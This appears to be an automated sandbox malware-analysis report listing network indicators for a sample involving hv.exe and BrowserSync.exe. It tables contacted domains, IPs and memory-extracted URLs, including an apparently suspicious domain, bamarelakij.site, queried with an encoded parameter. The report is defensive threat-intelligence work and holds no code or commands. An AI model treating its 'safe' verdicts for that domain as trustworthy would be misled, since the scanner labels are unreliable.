https://bamarelakij.site/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D	0%	Avira URL Cloud	safe
https://msn.?0	0%	Avira URL Cloud	safe
https://bamarelakij.site/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4	0%	Avira URL Cloud	safe
https://bamarelakij.site/64.htm	0%	Avira URL Cloud	safe
https://bamarelakij.site/ci	0%	Avira URL Cloud	safe
https://sn.com	100%	Avira URL Cloud	malware
https://bamarelakij.site/Ki	0%	Avira URL Cloud	safe
https://www.handyviewer.com	0%	Avira URL Cloud	safe
https://www.handyviewer.com/openS	0%	Avira URL Cloud	safe
https://bamarelakij.site:443/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5Ykb	0%	Avira URL Cloud	safe
https://ntp.msn.comcache-control:public	0%	Avira URL Cloud	safe
https://www.handyviewer.com/donate.htmlopenS	0%	Avira URL Cloud	safe
https://bamarelakij.site/3jB	0%	Avira URL Cloud	safe
https://www.handyviewer.com/openhM	0%	Avira URL Cloud	safe
https://bamarelakij.site/	0%	Avira URL Cloud	safe
https://ntp.msn.comCache-Control:	0%	Avira URL Cloud	safe
https://bamarelakij.site/#jR	0%	Avira URL Cloud	safe
https://www.handyviewer.com/contact.htmlopenSV	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.97	true	false	high
bamarelakij.site	172.67.174.91	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
assets2.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bamarelakij.site/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070599&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1736430067774&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0bbf685d83c442b9fe503242c20b6fc&activityId=c0bbf685d83c442b9fe503242c20b6fc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C7020E5FD97649BABA433FD711F27806&MUID=3AADB05FC3906D36247DA530C2F26CF4	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430067772&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-banner.cef8d219ef568729016b.js	BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	false		high
https://msn.com	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dns10.quad9.net/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.com/e6	BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId	BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bamarelakij.site/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4	BrowserSync.exe, 0000000D.00000003.2634074359.0000000000641000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.handyviewer.com/openSV	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	BrowserSync.exe, 0000000D.00000003.2410027416.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svg	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.13e1b09423b11e6198b5.js008&w=0	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.5e95a6e8b96055fbd144.jse3a84ade481.j	BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msny	BrowserSync.exe, 0000000D.00000003.2359295175.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2385189412.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2357290413.0000000008023000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382496836.0000000008023000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dns11.quad9.net/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connec	BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_j	BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350774147.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319211807.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.handyviewer.com/donate.htmlopen	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000CC3000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.de	hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000000.2002084435.00000001401E0000.00000002.00000001.01000000.0000000C.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/bundles/v1/edgeChromium/latest/RewardsData.ccbbf385e0c5fd6a94ec.js	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.clarity.ms	BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://msn.?0	BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.5e95a6e8b96055fbd144.js	BrowserSync.exe, 0000000D.00000003.2359029214.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dns.levonet.sk/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New	BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/sign-in-control-wc.367cab6cb9bb41af1876.js	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common-windows-widget-shared.e08001e82718cdb13	BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerPoint_24x.svg5.47	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://doh.opendns.com/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ecs.nel.measure.office.net/?TenantId=Edge&DestinationEndpoint=Edge-Prod-EWR31r5b&FrontEnd=AF	BrowserSync.exe, 0000000D.00000003.2433890437.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.13e1b09423b11e6198b5.jsation	BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/superBreakingNews.2c317965ccb59781fd03.js	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js	BrowserSync.exe, 0000000D.00000003.2316394585.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/background-gallery.078daa21cfb37d404ae1.js	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://user.auth.xboxlive.com/user/authenticate	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneDrive_24x.svgn	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.	BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2323419854.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/bundles/v1/edgeChromium/latest/super-nav.f473b5fc8e70a6fb62b0.js	BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://img.s-msn.com/tenant/amp/entityid/AA1u24yb	BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.comx-as-suppresssetcookie:1cache-control:private	BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bamarelakij.site/64.htm	BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E94000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.94c0190808bd5252056f.js992&w=	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2323419854.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bamarelakij.site/ci	BrowserSync.exe, 0000000D.00000003.2634074359.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://public.dns.iij.jp/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/OneNote_24x.svg	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	hv.exe, 00000002.00000002.1729250490.000000000BF9A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.000000000584A000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.handyviewer.com/openS	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg=jpg&u=t.jsa8	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bamarelakij.site/Ki	BrowserSync.exe, 0000000D.00000003.2586562381.0000000000688000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2595139325.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/BB1msOP1	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.handyviewer.com	hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp, hv.exe, 00000002.00000000.1692495635.0000000000CB6000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.comcache-control:public	BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2510287941.0000000002EFA000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BrowserSync.exe, 0000000D.00000003.2228123459.0000000007FB2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/welcomeGreetingLight.b8e9005e9e1d704176a2.js	BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sn.com	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	BrowserSync.exe, 0000000D.00000003.2554567866.00000000081D1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/RewardsData.ccbbf385e0c5fd6a94ec.js67c1cb4d144	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://titlehub.xboxlive.com/users/	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/codex-bing-chat.004373b4b46f289247a2.js9ce.js;	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/service/news/feed/pages/weblayout?User=m-3AADB05FC3906D36247DA530C2F26CF4&act	BrowserSync.exe, 0000000D.00000003.2510229822.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361533983.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361957504.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bamarelakij.site:443/64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5Ykb	BrowserSync.exe, 0000000D.00000003.2634074359.0000000000641000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.handyviewer.com/donate.htmlopenS	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://xsts.auth.xboxlive.com/xsts/authorize	BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.94c0190808bd5252056f.js	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://bamarelakij.site/3jB	BrowserSync.exe, 0000000D.00000003.2578464905.0000000000688000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2568892354.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.handyviewer.com/openhM	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000CC3000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://bamarelakij.site/	BrowserSync.exe, 0000000D.00000003.2595139325.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bamarelakij.site/#jR	BrowserSync.exe, 0000000D.00000003.2568892354.0000000000688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BrowserSync.exe, 0000000D.00000003.2226861028.0000000002ED6000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_super-feed_dist_feed-manager_FeedManagerW	BrowserSync.exe, 0000000D.00000003.2386602120.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.com	BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2387289413.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2381889151.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2362509451.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2361957504.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2410027416.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Alert//Alert_WI_Y.svg	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg	BrowserSync.exe, 0000000D.00000003.2459756100.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2452264047.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://doh.quickline.ch/dns-query	BrowserSync.exe, 0000000D.00000003.2383274333.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2456921588.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2319541415.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.handyviewer.com/contact.htmlopenSV	hv.exe, 00000002.00000000.1690921855.0000000000591000.00000020.00000001.01000000.00000003.sdmp, hv.exe, 00000003.00000000.1707350777.0000000000DB9000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js(	BrowserSync.exe, 0000000D.00000003.2402158442.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ntp.msn.comCache-Control:	BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.70.121.146	unknown	United States	20940	AKAMAI-ASN1EU	false
